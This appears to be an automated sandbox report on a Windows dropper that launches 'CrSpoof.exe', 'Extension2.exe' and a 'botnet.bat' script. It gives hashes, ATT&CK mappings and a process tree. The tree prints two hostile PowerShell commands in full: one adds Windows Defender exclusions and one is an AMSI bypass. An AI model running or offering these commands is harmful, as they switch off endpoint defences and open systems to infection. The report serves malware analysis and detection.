bd948aeb2b607b34e8d32f22b9e5aee402057adebae4a2e0c70bd666e688f1f8

General

Target

4363463463464363463463463.exe
Size

10KB
MD5

2a94f3960c58c6e70826495f76d00b85
SHA1

e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512

fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP

192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1372	powershell.exe
5112	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe

Executes dropped EXE 2 IoCs

pid	Process
5072	CrSpoof.exe
2588	Extension2.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	CrSpoof.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	raw.githubusercontent.com
27	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Extension2.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3984	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1372	powershell.exe
1372	powershell.exe
5112	powershell.exe
5112	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	4363463463464363463463463.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	5112	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 5072	4572	4363463463464363463463463.exe	90
PID 4572 wrote to memory of 5072	4572	4363463463464363463463463.exe	90
PID 5072 wrote to memory of 2356	5072	CrSpoof.exe	91
PID 5072 wrote to memory of 2356	5072	CrSpoof.exe	91
PID 2356 wrote to memory of 1372	2356	cmd.exe	93
PID 2356 wrote to memory of 1372	2356	cmd.exe	93
PID 2356 wrote to memory of 5112	2356	cmd.exe	94
PID 2356 wrote to memory of 5112	2356	cmd.exe	94
PID 2356 wrote to memory of 3984	2356	cmd.exe	95
PID 2356 wrote to memory of 3984	2356	cmd.exe	95
PID 4572 wrote to memory of 2588	4572	4363463463464363463463463.exe	98
PID 4572 wrote to memory of 2588	4572	4363463463464363463463463.exe	98
PID 4572 wrote to memory of 2588	4572	4363463463464363463463463.exe	98

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Users\Admin\AppData\Local\Temp\Files\CrSpoof.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\CrSpoof.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "botnet.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell -Command "& { Add-MpPreference -ExclusionPath \"$env:TEMP\"; Add-MpPreference -ExclusionPath \"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\" }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell -Command "$amsi=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'); $field=$amsi.GetField('amsiInitFailed','NonPublic,Static'); $field.SetValue($null,$true);"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5112
  - - C:\Windows\system32\timeout.exe
      timeout /t 0.1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3984
- C:\Users\Admin\AppData\Local\Temp\Files\Extension2.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Extension2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\CrSpoof.exe

Filesize
344KB

MD5
f0b64659f584d37b9f8ee6ebd16d0935

SHA1
a969380670a9b6cf5e8a64cc755b0aa2eb14336d

SHA256
335a157aaf5f464499c1c9f030de964612b8a1c3a770579d01dc63c2d40509e7

SHA512
09bd36f15a57f2d4c0b0cc3739fe027487adced352d87e42d9d9be6c8bcf42cdae19085c3cca4c5dfa49480d0aac243554d005c19d4aef5c6332138e7a6f9c52

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\Extension2.exe

Filesize
72KB

MD5
d1ba5271cc1825702119cfd7e0232f81

SHA1
89515a56e8963338673fc076f0143ddd005910fe

SHA256
9b4013e7e8decdbe58db125765084aaaff774701c363ffbbd4f8dd24eda4fc3c

SHA512
88ef050d054f7c7bf847c762c34a4797e171534c769265b615cdb75246b6535c5b97e135f94431debd2cea2cd8b7fd905f08c601d3032545e7842fd04e8c0728

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\botnet.bat

Filesize
2KB

MD5
c5b1981bc0a9de589da8ea26ddfcd5ac

SHA1
d3cbf836028d1c0a4fad71407260268e2334aafe

SHA256
38f67810f4fb4f58a7276f593c930fffc34e768d566f15b2d8c3d4430406b35d

SHA512
3412fd71352c1dbdce493c9d2a28dc3de623bf335305f5b8dde04c270eb65b6a49ba71372f530a666e0b78c15ca44fd655b2651f6d10856fe72f8772dde3f795

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_421cymbg.l5y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1372-31-0x00007FFEF5940000-0x00007FFEF6401000-memory.dmp

Filesize
10.8MB

Download
memory/1372-19-0x00007FFEF5943000-0x00007FFEF5945000-memory.dmp

Filesize
8KB

Download
memory/1372-29-0x000001E16BDD0000-0x000001E16BDF2000-memory.dmp

Filesize
136KB

Download
memory/1372-30-0x00007FFEF5940000-0x00007FFEF6401000-memory.dmp

Filesize
10.8MB

Download
memory/1372-34-0x00007FFEF5940000-0x00007FFEF6401000-memory.dmp

Filesize
10.8MB

Download
memory/4572-5-0x0000000074B00000-0x00000000752B0000-memory.dmp

Filesize
7.7MB

Download
memory/4572-4-0x0000000074B0E000-0x0000000074B0F000-memory.dmp

Filesize
4KB

Download
memory/4572-0-0x0000000074B0E000-0x0000000074B0F000-memory.dmp

Filesize
4KB

Download
memory/4572-3-0x0000000074B00000-0x00000000752B0000-memory.dmp

Filesize
7.7MB

Download
memory/4572-2-0x00000000050F0000-0x000000000518C000-memory.dmp

Filesize
624KB

Download
memory/4572-1-0x00000000006E0000-0x00000000006E8000-memory.dmp

Filesize
32KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads